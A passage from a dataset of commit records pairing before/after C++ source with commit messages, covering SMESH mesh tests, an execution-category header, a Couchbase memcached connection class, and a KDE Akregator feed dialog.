meshgen->CreateMesh(0, true);\n    \/\/ set geometry to be meshed\n    mesh->ShapeToMesh(my_sphere.Shape());\n    ASSERT_TRUE(mesh->HasShapeToMesh());\n    \/\/ compute the mesh\n    meshgen->Compute(*mesh, mesh->GetShapeToMesh());\n    \/\/ free memory\n    delete meshgen;\n    delete mesh;\n}\n\nTEST(MeshBasicGeometriesSuite, testMeshTorus)\n{\n    \/\/ the same as the previous test, but with a sphere\n    BRepPrimAPI_MakeTorus my_torus(10., 20.);\n    my_torus.Build();\n    ASSERT_TRUE(my_torus.IsDone());\n    \/\/ create the Mesh\n    SMESH_Gen* meshgen = new SMESH_Gen();\n    SMESH_Mesh* mesh = meshgen->CreateMesh(0, true);\n    \/\/ set geometry to be meshed\n    mesh->ShapeToMesh(my_torus.Shape());\n    ASSERT_TRUE(mesh->HasShapeToMesh());\n    \/\/ compute the mesh\n    meshgen->Compute(*mesh, mesh->GetShapeToMesh());\n    \/\/ free memory\n    delete meshgen;\n    delete mesh;\n}\n\nint main(int argc, char **argv){\n  testing::InitGoogleTest(&argc, argv);\n  return RUN_ALL_TESTS();\n}\n<commit_msg>Extend mefisto2d test<commit_after>#include <math.h>\n\n#include <BRepPrimAPI_MakeBox.hxx>\n#include <BRepPrimAPI_MakeSphere.hxx>\n#include <BRepPrimAPI_MakeTorus.hxx>\n#include <SMESH_Gen.hxx>\n#include <StdMeshers_AutomaticLength.hxx>\n#include <StdMeshers_TrianglePreference.hxx>\n#include <StdMeshers_NumberOfSegments.hxx>\n#include <StdMeshers_Regular_1D.hxx>\n#include <StdMeshers_MEFISTO_2D.hxx>\n#include <gtest\/gtest.h>\n\nTEST(MeshBasicGeometriesSuite, testMeshBox)\n{\n    \/\/ create a box, mixing integers and floats\n    BRepPrimAPI_MakeBox my_box(10.,10.,10.);\n    my_box.Build();\n    ASSERT_TRUE(my_box.IsDone());\n    \/\/ create the Mesh\n    SMESH_Gen* meshgen = new SMESH_Gen();\n    SMESH_Mesh* mesh = meshgen->CreateMesh(0, true);\n    \/\/ set geometry to be meshed\n    mesh->ShapeToMesh(my_box.Shape());\n    ASSERT_TRUE(mesh->HasShapeToMesh());\n    \/\/ check bounding box. It should be 10.sqrt(3)==17.32050807568877\n    double diagonal_size = mesh->GetShapeDiagonalSize(mesh->GetShapeToMesh());\n    ASSERT_GT(diagonal_size, 17.320508);\n    ASSERT_LT(diagonal_size, 17.320509);\n    \/\/ create and add hypothesis\n    StdMeshers_AutomaticLength* hyp1d_0 = new StdMeshers_AutomaticLength(0,0,meshgen);\n    StdMeshers_NumberOfSegments* hyp1d_1 = new StdMeshers_NumberOfSegments(1,0,meshgen);\n    hyp1d_1->SetNumberOfSegments(1);\n    StdMeshers_Regular_1D* hyp1d_2 = new StdMeshers_Regular_1D(2,0,meshgen);\n    StdMeshers_TrianglePreference* hyp2d = new StdMeshers_TrianglePreference(3,0,meshgen);\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 0);\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 1);\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 2);\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 3);\n    \/\/ compute the mesh\n    meshgen->Compute(*mesh, mesh->GetShapeToMesh());\n    \/\/ free memory\n    delete meshgen;\n    delete mesh;\n}\n\nTEST(MeshBasicGeometriesSuite, testMeshBoxMEFISTO2)\n{\n    \/\/ create a box, mixing integers and floats\n    BRepPrimAPI_MakeBox my_box(10.,10.,10.);\n    my_box.Build();\n    ASSERT_TRUE(my_box.IsDone());\n    \/\/ create the Mesh\n    SMESH_Gen* meshgen = new SMESH_Gen();\n    SMESH_Mesh* mesh = meshgen->CreateMesh(0, true);\n    \/\/ set geometry to be meshed\n    mesh->ShapeToMesh(my_box.Shape());\n    ASSERT_TRUE(mesh->HasShapeToMesh());\n    \/\/ check bounding box. It should be 10.sqrt(3)==17.32050807568877\n    double diagonal_size = mesh->GetShapeDiagonalSize(mesh->GetShapeToMesh());\n    ASSERT_GT(diagonal_size, 17.320508);\n    ASSERT_LT(diagonal_size, 17.320509);\n    \/\/ create and add hypothesis\n    StdMeshers_AutomaticLength* hyp1d = new StdMeshers_AutomaticLength(0,0,meshgen);\n    StdMeshers_TrianglePreference* hyp2d = new StdMeshers_TrianglePreference(1,0,meshgen);\n    StdMeshers_MEFISTO_2D* mef2d = new StdMeshers_MEFISTO_2D(2,0,meshgen) ;\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 0);\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 1);\n    mesh->AddHypothesis(mesh->GetShapeToMesh(), 2);\n    \/\/ compute the mesh\n    meshgen->Compute(*mesh, mesh->GetShapeToMesh());\n    \/\/ free memory\n    delete meshgen;\n    delete mesh;\n}\n\nTEST(MeshBasicGeometriesSuite, testMeshSphere)\n{\n    \/\/ the same as the previous test, but with a sphere\n    BRepPrimAPI_MakeSphere my_sphere(10.);\n    my_sphere.Build();\n    ASSERT_TRUE(my_sphere.IsDone());\n    \/\/ create the Mesh\n    SMESH_Gen* meshgen = new SMESH_Gen();\n    SMESH_Mesh* mesh = meshgen->CreateMesh(0, true);\n    \/\/ set geometry to be meshed\n    mesh->ShapeToMesh(my_sphere.Shape());\n    ASSERT_TRUE(mesh->HasShapeToMesh());\n    \/\/ compute the mesh\n    meshgen->Compute(*mesh, mesh->GetShapeToMesh());\n    \/\/ free memory\n    delete meshgen;\n    delete mesh;\n}\n\nTEST(MeshBasicGeometriesSuite, testMeshTorus)\n{\n    \/\/ the same as the previous test, but with a sphere\n    BRepPrimAPI_MakeTorus my_torus(10., 20.);\n    my_torus.Build();\n    ASSERT_TRUE(my_torus.IsDone());\n    \/\/ create the Mesh\n    SMESH_Gen* meshgen = new SMESH_Gen();\n    SMESH_Mesh* mesh = meshgen->CreateMesh(0, true);\n    \/\/ set geometry to be meshed\n    mesh->ShapeToMesh(my_torus.Shape());\n    ASSERT_TRUE(mesh->HasShapeToMesh());\n    \/\/ compute the mesh\n    meshgen->Compute(*mesh, mesh->GetShapeToMesh());\n    \/\/ free memory\n    delete meshgen;\n    delete mesh;\n}\n\nint main(int argc, char **argv){\n  testing::InitGoogleTest(&argc, argv);\n  return RUN_ALL_TESTS();\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <type_traits>\n\nnamespace agency\n{\n\n\n\/\/ XXX consider whether there should be derived-from relationships between these\nstruct sequential_execution_tag {};\nstruct concurrent_execution_tag {};\nstruct parallel_execution_tag {};\nstruct vector_execution_tag {};\n\n\ntemplate<class ExecutionCategory1, class ExecutionCategory2>\nstruct nested_execution_tag\n{\n  using outer_execution_category = ExecutionCategory1;\n  using inner_execution_category = ExecutionCategory2;\n};\n\n\n\/\/ XXX need some way to compare the strength of these at compile time\n\/\/ the following \n\n\/\/  \"<\" means \"is weaker than\"\n\/\/  \"<\" is transitive\n\/\/ if category A is weaker than category B,\n\/\/ then agents in category A can be executed with agents in category B\n\/\/\n\/\/ these relationships should be true\n\/\/\n\/\/ parallel_execution_tag < sequential_execution_tag\n\/\/ parallel_execution_tag < concurrent_execution_tag\n\/\/ vector_execution_tag   < parallel_execution_tag\n\/\/\n\/\/ XXX figure out how sequential is related to concurrent\n\/\/\n\/\/ XXX figure out how nested_execution_tag sorts\n\n\nnamespace detail\n{\n\n\ntemplate<class ExecutionCategory>\nstruct is_nested_execution_category : std::false_type {};\n\n\ntemplate<class ExecutionCategory1, class ExecutionCategory2>\nstruct is_nested_execution_category<nested_execution_tag<ExecutionCategory1,ExecutionCategory2>> : std::true_type {};\n\n\n} \/\/ end detail\n} \/\/ end agency\n\n<commit_msg>Add execution_depth helper<commit_after>#pragma once\n\n#include <type_traits>\n\nnamespace agency\n{\n\n\n\/\/ XXX consider whether there should be derived-from relationships between these\nstruct sequential_execution_tag {};\nstruct concurrent_execution_tag {};\nstruct parallel_execution_tag {};\nstruct vector_execution_tag {};\n\n\ntemplate<class ExecutionCategory1, class ExecutionCategory2>\nstruct nested_execution_tag\n{\n  using outer_execution_category = ExecutionCategory1;\n  using inner_execution_category = ExecutionCategory2;\n};\n\n\n\/\/ XXX need some way to compare the strength of these at compile time\n\/\/ the following \n\n\/\/  \"<\" means \"is weaker than\"\n\/\/  \"<\" is transitive\n\/\/ if category A is weaker than category B,\n\/\/ then agents in category A can be executed with agents in category B\n\/\/\n\/\/ these relationships should be true\n\/\/\n\/\/ parallel_execution_tag < sequential_execution_tag\n\/\/ parallel_execution_tag < concurrent_execution_tag\n\/\/ vector_execution_tag   < parallel_execution_tag\n\/\/\n\/\/ XXX figure out how sequential is related to concurrent\n\/\/\n\/\/ XXX figure out how nested_execution_tag sorts\n\n\nnamespace detail\n{\n\n\ntemplate<class ExecutionCategory>\nstruct is_nested_execution_category : std::false_type {};\n\n\ntemplate<class ExecutionCategory1, class ExecutionCategory2>\nstruct is_nested_execution_category<nested_execution_tag<ExecutionCategory1,ExecutionCategory2>> : std::true_type {};\n\n\ntemplate<class ExecutionCategory>\nstruct execution_depth : std::integral_constant<size_t, 1> {};\n\n\ntemplate<class ExecutionCategory1, class ExecutionCategory2>\nstruct execution_depth<nested_execution_tag<ExecutionCategory1,ExecutionCategory2>>\n  : std::integral_constant<\n      size_t,\n      1 + execution_depth<ExecutionCategory2>::value\n    >\n{};\n\n\n} \/\/ end detail\n} \/\/ end agency\n\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n *     Copyright 2015 Couchbase, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n#include \"config.h\"\n#include \"memcached.h\"\n#include \"runtime.h\"\n#include \"statemachine_mcbp.h\"\n\n#include <exception>\n#include <utilities\/protocol2text.h>\n#include <platform\/strerror.h>\n\nconst char* to_string(const Connection::Priority& priority) {\n    switch (priority) {\n    case Connection::Priority::High:\n        return \"High\";\n    case Connection::Priority::Medium:\n        return \"Medium\";\n    case Connection::Priority::Low:\n        return \"Low\";\n    }\n    throw std::invalid_argument(\"No such priority: \" +\n                                std::to_string(int(priority)));\n}\n\nConnection::Connection(SOCKET sfd, event_base* b)\n    : socketDescriptor(sfd),\n      base(b),\n      sasl_conn(nullptr),\n      admin(false),\n      authenticated(false),\n      username(\"unknown\"),\n      nodelay(false),\n      refcount(0),\n      engine_storage(nullptr),\n      next(nullptr),\n      thread(nullptr),\n      parent_port(0),\n      auth_context(nullptr),\n      bucketIndex(0),\n      bucketEngine(nullptr),\n      peername(\"unknown\"),\n      sockname(\"unknown\"),\n      priority(Priority::Medium) {\n    MEMCACHED_CONN_CREATE(this);\n}\n\nConnection::Connection(SOCKET sock,\n                       event_base* b,\n                       const struct listening_port& interface)\n    : Connection(sock, b)\n{\n    parent_port = interface.port;\n    resolveConnectionName(false);\n    setAuthContext(auth_create(NULL, peername.c_str(), sockname.c_str()));\n    setTcpNoDelay(interface.tcp_nodelay);\n}\n\nConnection::~Connection() {\n    MEMCACHED_CONN_DESTROY(this);\n    auth_destroy(auth_context);\n    cbsasl_dispose(&sasl_conn);\n}\n\n\/**\n * Convert a sockaddr_storage to a textual string (no name lookup).\n *\n * @param addr the sockaddr_storage received from getsockname or\n *             getpeername\n * @param addr_len the current length used by the sockaddr_storage\n * @return a textual string representing the connection. or NULL\n *         if an error occurs (caller takes ownership of the buffer and\n *         must call free)\n *\/\nstatic std::string sockaddr_to_string(const struct sockaddr_storage* addr,\n                                      socklen_t addr_len) {\n    char host[50];\n    char port[50];\n\n    int err = getnameinfo(reinterpret_cast<const struct sockaddr*>(addr),\n                          addr_len,\n                          host, sizeof(host),\n                          port, sizeof(port),\n                          NI_NUMERICHOST | NI_NUMERICSERV);\n    if (err != 0) {\n        LOG_WARNING(NULL, \"getnameinfo failed with error %d\", err);\n        return NULL;\n    }\n\n    if (addr->ss_family == AF_INET6) {\n        return \"[\" + std::string(host) + \"]:\" + std::string(port);\n    } else {\n        return std::string(host) + \":\" + std::string(port);\n    }\n}\n\nvoid Connection::resolveConnectionName(bool listening) {\n    int err;\n    try {\n        if (listening) {\n            peername = \"*\";\n        } else {\n            struct sockaddr_storage peer;\n            socklen_t peer_len = sizeof(peer);\n            if ((err = getpeername(socketDescriptor,\n                                   reinterpret_cast<struct sockaddr*>(&peer),\n                                   &peer_len)) != 0) {\n                LOG_WARNING(NULL, \"getpeername for socket %d with error %d\",\n                            socketDescriptor, err);\n            } else {\n                peername = sockaddr_to_string(&peer, peer_len);\n            }\n        }\n\n        struct sockaddr_storage sock;\n        socklen_t sock_len = sizeof(sock);\n        if ((err = getsockname(socketDescriptor,\n                               reinterpret_cast<struct sockaddr*>(&sock),\n                               &sock_len)) != 0) {\n            LOG_WARNING(NULL, \"getsockname for socket %d with error %d\",\n                        socketDescriptor, err);\n        } else {\n            sockname = sockaddr_to_string(&sock, sock_len);\n        }\n    } catch (std::bad_alloc& e) {\n        LOG_WARNING(NULL,\n                    \"Connection::resolveConnectionName: failed to allocate memory: %s\",\n                    e.what());\n    }\n}\n\nbool Connection::setTcpNoDelay(bool enable) {\n    int flags = enable ? 1 : 0;\n\n#if defined(WIN32)\n    char* flags_ptr = reinterpret_cast<char*>(&flags);\n#else\n    void* flags_ptr = reinterpret_cast<void*>(&flags);\n#endif\n    int error = setsockopt(socketDescriptor, IPPROTO_TCP, TCP_NODELAY,\n                           flags_ptr,\n                           sizeof(flags));\n\n    if (error != 0) {\n        std::string errmsg = cb_strerror(GetLastNetworkError());\n        LOG_WARNING(this, \"setsockopt(TCP_NODELAY): %s\",\n                    errmsg.c_str());\n        nodelay = false;\n        return false;\n    } else {\n        nodelay = enable;\n    }\n\n    return true;\n}\n\n\/* cJSON uses double for all numbers, so only has 53 bits of precision.\n * Therefore encode 64bit integers as string.\n *\/\nstatic cJSON* json_create_uintptr(uintptr_t value) {\n    char buffer[32];\n    if (snprintf(buffer, sizeof(buffer),\n                 \"0x%\" PRIxPTR, value) >= int(sizeof(buffer))) {\n        return cJSON_CreateString(\"<too long>\");\n    } else {\n        return cJSON_CreateString(buffer);\n    }\n}\n\nstatic void json_add_uintptr_to_object(cJSON* obj, const char* name,\n                                       uintptr_t value) {\n    cJSON_AddItemToObject(obj, name, json_create_uintptr(value));\n}\n\nstatic void json_add_bool_to_object(cJSON* obj, const char* name, bool value) {\n    if (value) {\n        cJSON_AddTrueToObject(obj, name);\n    } else {\n        cJSON_AddFalseToObject(obj, name);\n    }\n}\n\nconst char* to_string(const Protocol& protocol) {\n    if (protocol == Protocol::Memcached) {\n        return \"memcached\";\n    } else if (protocol == Protocol::Greenstack) {\n        return \"greenstack\";\n    } else {\n        return \"unknown\";\n    }\n}\n\nconst char* to_string(const ConnectionState& connectionState) {\n    switch (connectionState) {\n    case ConnectionState::ESTABLISHED:\n        return \"established\";\n    case ConnectionState::OPEN:\n        return \"open\";\n    case ConnectionState::AUTHENTICATED:\n        return \"authenticated\";\n    }\n\n    throw std::logic_error(\n        \"Unknown connection state: \" + std::to_string(int(connectionState)));\n}\n\ncJSON* Connection::toJSON() const {\n    cJSON* obj = cJSON_CreateObject();\n    json_add_uintptr_to_object(obj, \"connection\", (uintptr_t)this);\n    if (socketDescriptor == INVALID_SOCKET) {\n        cJSON_AddStringToObject(obj, \"socket\", \"disconnected\");\n    } else {\n        cJSON_AddNumberToObject(obj, \"socket\", (double)socketDescriptor);\n        cJSON_AddStringToObject(obj, \"protocol\", to_string(getProtocol()));\n        cJSON_AddStringToObject(obj, \"peername\", getPeername().c_str());\n        cJSON_AddStringToObject(obj, \"sockname\", getSockname().c_str());\n        json_add_bool_to_object(obj, \"admin\", isAdmin());\n        if (sasl_conn != NULL) {\n            json_add_uintptr_to_object(obj, \"sasl_conn\",\n                                       (uintptr_t)sasl_conn);\n        }\n        json_add_bool_to_object(obj, \"nodelay\", nodelay);\n        cJSON_AddNumberToObject(obj, \"refcount\", refcount);\n        {\n            cJSON* features = cJSON_CreateObject();\n            json_add_bool_to_object(features, \"datatype\",\n                                    isSupportsDatatype());\n            json_add_bool_to_object(features, \"mutation_extras\",\n                                    isSupportsMutationExtras());\n\n            cJSON_AddItemToObject(obj, \"features\", features);\n        }\n        json_add_uintptr_to_object(obj, \"engine_storage\",\n                                   (uintptr_t)engine_storage);\n        json_add_uintptr_to_object(obj, \"next\", (uintptr_t)next);\n        json_add_uintptr_to_object(obj, \"thread\", (uintptr_t)thread.load(\n            std::memory_order::memory_order_relaxed));\n        cJSON_AddNumberToObject(obj, \"parent_port\", parent_port);\n        cJSON_AddStringToObject(obj, \"priority\", to_string(priority));\n    }\n    return obj;\n}\n<commit_msg>Close open sockets in the destructor<commit_after>\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n *     Copyright 2015 Couchbase, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n#include \"config.h\"\n#include \"memcached.h\"\n#include \"runtime.h\"\n#include \"statemachine_mcbp.h\"\n\n#include <exception>\n#include <utilities\/protocol2text.h>\n#include <platform\/strerror.h>\n\nconst char* to_string(const Connection::Priority& priority) {\n    switch (priority) {\n    case Connection::Priority::High:\n        return \"High\";\n    case Connection::Priority::Medium:\n        return \"Medium\";\n    case Connection::Priority::Low:\n        return \"Low\";\n    }\n    throw std::invalid_argument(\"No such priority: \" +\n                                std::to_string(int(priority)));\n}\n\nConnection::Connection(SOCKET sfd, event_base* b)\n    : socketDescriptor(sfd),\n      base(b),\n      sasl_conn(nullptr),\n      admin(false),\n      authenticated(false),\n      username(\"unknown\"),\n      nodelay(false),\n      refcount(0),\n      engine_storage(nullptr),\n      next(nullptr),\n      thread(nullptr),\n      parent_port(0),\n      auth_context(nullptr),\n      bucketIndex(0),\n      bucketEngine(nullptr),\n      peername(\"unknown\"),\n      sockname(\"unknown\"),\n      priority(Priority::Medium) {\n    MEMCACHED_CONN_CREATE(this);\n}\n\nConnection::Connection(SOCKET sock,\n                       event_base* b,\n                       const struct listening_port& interface)\n    : Connection(sock, b)\n{\n    parent_port = interface.port;\n    resolveConnectionName(false);\n    setAuthContext(auth_create(NULL, peername.c_str(), sockname.c_str()));\n    setTcpNoDelay(interface.tcp_nodelay);\n}\n\nConnection::~Connection() {\n    MEMCACHED_CONN_DESTROY(this);\n    auth_destroy(auth_context);\n    cbsasl_dispose(&sasl_conn);\n    if (socketDescriptor != INVALID_SOCKET) {\n        LOG_INFO(this, \"%u - Closing socket descriptor\", getId());\n        safe_close(socketDescriptor);\n    }\n}\n\n\/**\n * Convert a sockaddr_storage to a textual string (no name lookup).\n *\n * @param addr the sockaddr_storage received from getsockname or\n *             getpeername\n * @param addr_len the current length used by the sockaddr_storage\n * @return a textual string representing the connection. or NULL\n *         if an error occurs (caller takes ownership of the buffer and\n *         must call free)\n *\/\nstatic std::string sockaddr_to_string(const struct sockaddr_storage* addr,\n                                      socklen_t addr_len) {\n    char host[50];\n    char port[50];\n\n    int err = getnameinfo(reinterpret_cast<const struct sockaddr*>(addr),\n                          addr_len,\n                          host, sizeof(host),\n                          port, sizeof(port),\n                          NI_NUMERICHOST | NI_NUMERICSERV);\n    if (err != 0) {\n        LOG_WARNING(NULL, \"getnameinfo failed with error %d\", err);\n        return NULL;\n    }\n\n    if (addr->ss_family == AF_INET6) {\n        return \"[\" + std::string(host) + \"]:\" + std::string(port);\n    } else {\n        return std::string(host) + \":\" + std::string(port);\n    }\n}\n\nvoid Connection::resolveConnectionName(bool listening) {\n    int err;\n    try {\n        if (listening) {\n            peername = \"*\";\n        } else {\n            struct sockaddr_storage peer;\n            socklen_t peer_len = sizeof(peer);\n            if ((err = getpeername(socketDescriptor,\n                                   reinterpret_cast<struct sockaddr*>(&peer),\n                                   &peer_len)) != 0) {\n                LOG_WARNING(NULL, \"getpeername for socket %d with error %d\",\n                            socketDescriptor, err);\n            } else {\n                peername = sockaddr_to_string(&peer, peer_len);\n            }\n        }\n\n        struct sockaddr_storage sock;\n        socklen_t sock_len = sizeof(sock);\n        if ((err = getsockname(socketDescriptor,\n                               reinterpret_cast<struct sockaddr*>(&sock),\n                               &sock_len)) != 0) {\n            LOG_WARNING(NULL, \"getsockname for socket %d with error %d\",\n                        socketDescriptor, err);\n        } else {\n            sockname = sockaddr_to_string(&sock, sock_len);\n        }\n    } catch (std::bad_alloc& e) {\n        LOG_WARNING(NULL,\n                    \"Connection::resolveConnectionName: failed to allocate memory: %s\",\n                    e.what());\n    }\n}\n\nbool Connection::setTcpNoDelay(bool enable) {\n    int flags = enable ? 1 : 0;\n\n#if defined(WIN32)\n    char* flags_ptr = reinterpret_cast<char*>(&flags);\n#else\n    void* flags_ptr = reinterpret_cast<void*>(&flags);\n#endif\n    int error = setsockopt(socketDescriptor, IPPROTO_TCP, TCP_NODELAY,\n                           flags_ptr,\n                           sizeof(flags));\n\n    if (error != 0) {\n        std::string errmsg = cb_strerror(GetLastNetworkError());\n        LOG_WARNING(this, \"setsockopt(TCP_NODELAY): %s\",\n                    errmsg.c_str());\n        nodelay = false;\n        return false;\n    } else {\n        nodelay = enable;\n    }\n\n    return true;\n}\n\n\/* cJSON uses double for all numbers, so only has 53 bits of precision.\n * Therefore encode 64bit integers as string.\n *\/\nstatic cJSON* json_create_uintptr(uintptr_t value) {\n    char buffer[32];\n    if (snprintf(buffer, sizeof(buffer),\n                 \"0x%\" PRIxPTR, value) >= int(sizeof(buffer))) {\n        return cJSON_CreateString(\"<too long>\");\n    } else {\n        return cJSON_CreateString(buffer);\n    }\n}\n\nstatic void json_add_uintptr_to_object(cJSON* obj, const char* name,\n                                       uintptr_t value) {\n    cJSON_AddItemToObject(obj, name, json_create_uintptr(value));\n}\n\nstatic void json_add_bool_to_object(cJSON* obj, const char* name, bool value) {\n    if (value) {\n        cJSON_AddTrueToObject(obj, name);\n    } else {\n        cJSON_AddFalseToObject(obj, name);\n    }\n}\n\nconst char* to_string(const Protocol& protocol) {\n    if (protocol == Protocol::Memcached) {\n        return \"memcached\";\n    } else if (protocol == Protocol::Greenstack) {\n        return \"greenstack\";\n    } else {\n        return \"unknown\";\n    }\n}\n\nconst char* to_string(const ConnectionState& connectionState) {\n    switch (connectionState) {\n    case ConnectionState::ESTABLISHED:\n        return \"established\";\n    case ConnectionState::OPEN:\n        return \"open\";\n    case ConnectionState::AUTHENTICATED:\n        return \"authenticated\";\n    }\n\n    throw std::logic_error(\n        \"Unknown connection state: \" + std::to_string(int(connectionState)));\n}\n\ncJSON* Connection::toJSON() const {\n    cJSON* obj = cJSON_CreateObject();\n    json_add_uintptr_to_object(obj, \"connection\", (uintptr_t)this);\n    if (socketDescriptor == INVALID_SOCKET) {\n        cJSON_AddStringToObject(obj, \"socket\", \"disconnected\");\n    } else {\n        cJSON_AddNumberToObject(obj, \"socket\", (double)socketDescriptor);\n        cJSON_AddStringToObject(obj, \"protocol\", to_string(getProtocol()));\n        cJSON_AddStringToObject(obj, \"peername\", getPeername().c_str());\n        cJSON_AddStringToObject(obj, \"sockname\", getSockname().c_str());\n        json_add_bool_to_object(obj, \"admin\", isAdmin());\n        if (sasl_conn != NULL) {\n            json_add_uintptr_to_object(obj, \"sasl_conn\",\n                                       (uintptr_t)sasl_conn);\n        }\n        json_add_bool_to_object(obj, \"nodelay\", nodelay);\n        cJSON_AddNumberToObject(obj, \"refcount\", refcount);\n        {\n            cJSON* features = cJSON_CreateObject();\n            json_add_bool_to_object(features, \"datatype\",\n                                    isSupportsDatatype());\n            json_add_bool_to_object(features, \"mutation_extras\",\n                                    isSupportsMutationExtras());\n\n            cJSON_AddItemToObject(obj, \"features\", features);\n        }\n        json_add_uintptr_to_object(obj, \"engine_storage\",\n                                   (uintptr_t)engine_storage);\n        json_add_uintptr_to_object(obj, \"next\", (uintptr_t)next);\n        json_add_uintptr_to_object(obj, \"thread\", (uintptr_t)thread.load(\n            std::memory_order::memory_order_relaxed));\n        cJSON_AddNumberToObject(obj, \"parent_port\", parent_port);\n        cJSON_AddStringToObject(obj, \"priority\", to_string(priority));\n    }\n    return obj;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n *   Copyright (C) 2004 by Stanislav Karchebny                             *\n *   Stanislav.Karchebny@kdemail.net                                       *\n *                                                                         *\n *   Licensed under GPL.                                                   *\n ***************************************************************************\/\n\n#include \"archive.h\"\n#include \"feed.h\"\n#include \"addfeeddialog.h\"\n\n#include <qcheckbox.h>\n\n#include <kapplication.h>\n#include <kurl.h>\n#include <klocale.h>\n#include <klineedit.h>\n#include <kiconloader.h>\n#include <kicontheme.h>\n#include <kdebug.h>\n#include <ksqueezedtextlabel.h>\n\nusing namespace Akregator;\n\nAddFeedWidget::AddFeedWidget(QWidget *parent, const char *name)\n   : AddFeedWidgetBase(parent, name)\n{\n    pixmapLabel1->setPixmap(kapp->iconLoader()->loadIcon( \"package_network\",KIcon::Desktop,KIcon::SizeHuge, KIcon::DefaultState, 0, true));\n    statusLabel->setText(QString::null);\n}\n\nAddFeedWidget::~AddFeedWidget()\n{}\n\nAddFeedDialog::AddFeedDialog(QWidget *parent, const char *name)\n   : KDialogBase(KDialogBase::Swallow, Qt::WStyle_DialogBorder, parent, name, true, i18n(\"Add Feed\"), KDialogBase::Ok|KDialogBase::Cancel)\n{\n    feedTitle = i18n(\"New Feed\");\n\n    widget = new AddFeedWidget(this);\n    setMainWidget(widget);\n}\n\nAddFeedDialog::~AddFeedDialog()\n{}\n\nvoid AddFeedDialog::setURL(const QString& t)\n{\n    widget->urlEdit->setText(t);\n}\n\nvoid AddFeedDialog::slotOk( )\n{\n    enableButtonOK(false);\n    feedURL = widget->urlEdit->text();\n\n    Feed *f=new Feed(NULL, NULL);\n\n    feed=f;\n    if (feedURL.find(\":\/\") == -1)\n        feedURL.prepend(\"http:\/\/\");\n    f->setXmlUrl(feedURL);\n\n    widget->statusLabel->setText( i18n(\"Downloading %1\").arg(feedURL) );\n\n    connect( feed, SIGNAL(fetched(Feed* )),\n             this, SLOT(fetchCompleted(Feed *)) );\n    connect( feed, SIGNAL(fetchError(Feed* )),\n             this, SLOT(fetchError(Feed *)) );\n    connect( feed, SIGNAL(fetchDiscovery(Feed* )),\n             this, SLOT(fetchDiscovery(Feed *)) );\n\n    f->fetch(true);\n}\n\nvoid AddFeedDialog::fetchCompleted(Feed *f)\n{\n   feedTitle=f->title();\n   Archive::save(f);\n   KDialogBase::slotOk();\n}\n\nvoid AddFeedDialog::fetchError(Feed *)\n{\n    KDialogBase::slotOk();\n}\n\nvoid AddFeedDialog::fetchDiscovery(Feed *f)\n{\n\twidget->statusLabel->setText( i18n(\"Feed found, downloading...\") );\n    feedURL=f->xmlUrl();\n}\n\n#include \"addfeeddialog.moc\"\n<commit_msg>yes, now the error is not just in the changelog :)<commit_after>\/***************************************************************************\n *   Copyright (C) 2004 by Stanislav Karchebny                             *\n *   Stanislav.Karchebny@kdemail.net                                       *\n *                                                                         *\n *   Licensed under GPL.                                                   *\n ***************************************************************************\/\n\n#include \"archive.h\"\n#include \"feed.h\"\n#include \"addfeeddialog.h\"\n\n#include <qcheckbox.h>\n\n#include <kapplication.h>\n#include <kurl.h>\n#include <klocale.h>\n#include <klineedit.h>\n#include <kiconloader.h>\n#include <kicontheme.h>\n#include <kdebug.h>\n#include <ksqueezedtextlabel.h>\n#include <kmessagebox.h>\n\nusing namespace Akregator;\n\nAddFeedWidget::AddFeedWidget(QWidget *parent, const char *name)\n   : AddFeedWidgetBase(parent, name)\n{\n    pixmapLabel1->setPixmap(kapp->iconLoader()->loadIcon( \"package_network\",KIcon::Desktop,KIcon::SizeHuge, KIcon::DefaultState, 0, true));\n    statusLabel->setText(QString::null);\n}\n\nAddFeedWidget::~AddFeedWidget()\n{}\n\nAddFeedDialog::AddFeedDialog(QWidget *parent, const char *name)\n   : KDialogBase(KDialogBase::Swallow, Qt::WStyle_DialogBorder, parent, name, true, i18n(\"Add Feed\"), KDialogBase::Ok|KDialogBase::Cancel)\n{\n    feedTitle = i18n(\"New Feed\");\n\n    widget = new AddFeedWidget(this);\n    setMainWidget(widget);\n}\n\nAddFeedDialog::~AddFeedDialog()\n{}\n\nvoid AddFeedDialog::setURL(const QString& t)\n{\n    widget->urlEdit->setText(t);\n}\n\nvoid AddFeedDialog::slotOk( )\n{\n    enableButtonOK(false);\n    feedURL = widget->urlEdit->text();\n\n    Feed *f=new Feed(NULL, NULL);\n\n    feed=f;\n    if (feedURL.find(\":\/\") == -1)\n        feedURL.prepend(\"http:\/\/\");\n    f->setXmlUrl(feedURL);\n\n    widget->statusLabel->setText( i18n(\"Downloading %1\").arg(feedURL) );\n\n    connect( feed, SIGNAL(fetched(Feed* )),\n             this, SLOT(fetchCompleted(Feed *)) );\n    connect( feed, SIGNAL(fetchError(Feed* )),\n             this, SLOT(fetchError(Feed *)) );\n    connect( feed, SIGNAL(fetchDiscovery(Feed* )),\n             this, 